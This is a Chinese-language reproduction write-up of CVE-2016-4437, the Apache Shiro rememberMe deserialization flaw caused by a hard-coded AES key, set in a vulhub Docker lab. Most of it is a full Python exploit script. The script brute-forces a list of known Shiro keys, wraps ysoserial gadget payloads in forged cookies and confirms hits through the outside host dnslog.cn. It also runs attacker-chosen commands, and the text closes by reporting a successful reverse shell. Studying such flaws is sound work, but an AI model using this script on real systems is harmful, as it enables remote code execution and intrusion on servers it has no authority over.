CVE-2016-4437---Shiro反序列化漏洞

1、影响版本

Apache Shiro <= 1.2.4

2、漏洞原因

Apache Shiro默认使用了CookieRememberMeManager。其处理cookie的流程是：
得到rememberMe的cookie值；Base64解码；AES解密；反序列化。
然而AES的密钥是硬编码的，即AES加解密的密钥是写死在代码中的，攻击者可以构造恶意数据造成反序列化漏洞。

3、漏洞复现

这里使用的环境是Kali中的vulhub和docker。
首先进入目录vulhub/shiro/CVE-2016-4437，执行命令`docker-compose up -d`。
开启环境后，访问http://IP:8080，出现以下页面即成功。（这里IP是172.17.0.1）

打开Kali中的Burpsuite，随便输入一个用户名和密码，勾选Remember me进行抓包，如下图：

发现响应中有rememberMe=deleteMe，漏洞存在。
这里使用脚本反弹shell。

import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES

JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar'

CipherKeys = [
    "4AvVhmFLUs0KTA3Kprsdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "6ZmI6I2j5Y+R5aSn5ZOlAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "cmVtZW1iZXJNZQAAAAAAAA==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "ZnJlc2h6Y24xMjM0NTY3OA==",
    "L7RioUULEFhRyxM7a2R/Yg==",
    "RVZBTk5JR0hUTFlfV0FPVQ==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
    "WkhBTkdYSUFPSEVJX0NBVA==",
    "1QWLxg+NYmxraMoxAXu/Iw==",
    "WcfHGU25gNnTxTlmJMeSpw==",
    "a2VlcE9uR29pbmdBbmRGaQ==",
    "bWluZS1hc3NldC1rZXk6QQ==",
    "5aaC5qKm5oqA5pyvAAAAAA==",
    "kPH+bIxk5D2deZiIxcaaaA==",
    "r0e3c16IdVkouZgk1TKVMg==",
    "ZUdsaGJuSmxibVI2ZHc9PQ==",
    "U3ByaW5nQmxhZGUAAAAAAA==",
    "LEGEND-CAMPUS-CIPHERKEY=="
    ]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()
def genpayload(params, CipherKey,fp):
    gadget,command = params
    if not os.path.exists(fp):
        raise Exception('jar file not found')
    popen = subprocess.Popen(['java','-jar',fp,gadget,command],
                            stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

def getdomain():
    try :
        ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text
    except Exception as e:
        print("getdomain error:" + str(e))
        ret = "error"
        pass
    return ret

def getrecord():
    try :
        ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text
    except Exception as e:
        print("getrecord error:" + str(e))
        ret = "error"
        pass
    return ret

def check(url):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url

    print("checking url:" + url)

    domain = getdnshost()
    if domain:
        reversehost = "http://" + domain

        for CipherKey in CipherKeys:
            ret = {"vul":False,"CipherKey":"","url":target}

            try:
                print("try CipherKey :" +CipherKey)

                payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)

                print("generator payload done.")

                r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)

                print("send payload ok.")
                for i in range(1,5):
                    print("checking.....")

                    time.sleep(2)
                    temp = getrecord()
                    if domain in temp:
                        ret["vul"] = True
                        ret["CipherKey"] = CipherKey
                        break
            except Exception as e:
                print(str(e))
                pass
            if ret["vul"]:
                break
    else:
        print("get dns host error")
    return ret

def exploit(url,gadget,params,CipherKey):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = genpayload((gadget, params),CipherKey,JAR_FILE)
        r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
        print(r.text)
    except Exception as e:
        print("exploit error:" + str(e))
        pass

def getdnshost():
    reversehost = ""
    try :
        domain = getdomain()
        if domain=="error":
            print("getdomain error")
        else:
            reversehost = domain
    except:
        pass
    return reversehost

def detector(url,CipherKey,command):
    result = []
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        for g in gadgets:
            g = g.strip()

            domain = getdnshost()
            if domain:
                if g == "JRMPClient":
                    param = "%s:80" % domain
                else:
                    param = command.replace("{dnshost}",domain)
                payload = genpayload((g, param),CipherKey,JAR_FILE)
                print(g + " testing.....")
                r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
                #print(r.read())
                for i in range(1,5):
                    #print("checking.....")
                    time.sleep(2)
                    temp = getrecord()
                    if domain in temp:
                        ret = g
                        #ret["CipherKey"] = CipherKey
                        result.append(ret)
                        print("found gadget:\t" + g)
                        break
            else:
                print("get dns host error")
                    #break
        #print(r.text)
    except Exception as e:
        print("detector error:" + str(e))
        pass
    return result

def parser_error(errmsg):
    print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
    sys.exit()

def parse_args():
    # parse the arguments
    parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")
    parser.error = parser_error
    parser._optionals.title = "OPTIONS"
    parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)
    parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)
    parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)
    parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)
    parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    url = args.url
    type = args.type
    command = args.params
    key = args.key
    gadget = args.gadget
    if type=="1":
        r = check(url)
        print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))
    elif type=="2":
        exploit(url,gadget,command,key)
        print("exploit done.")
    elif type=="3":
        
        r = detector(url,key,command)
        if r :
            print("found gadget:\n")
            print(r)
    else:
        print("invalid type")

shell反弹成功。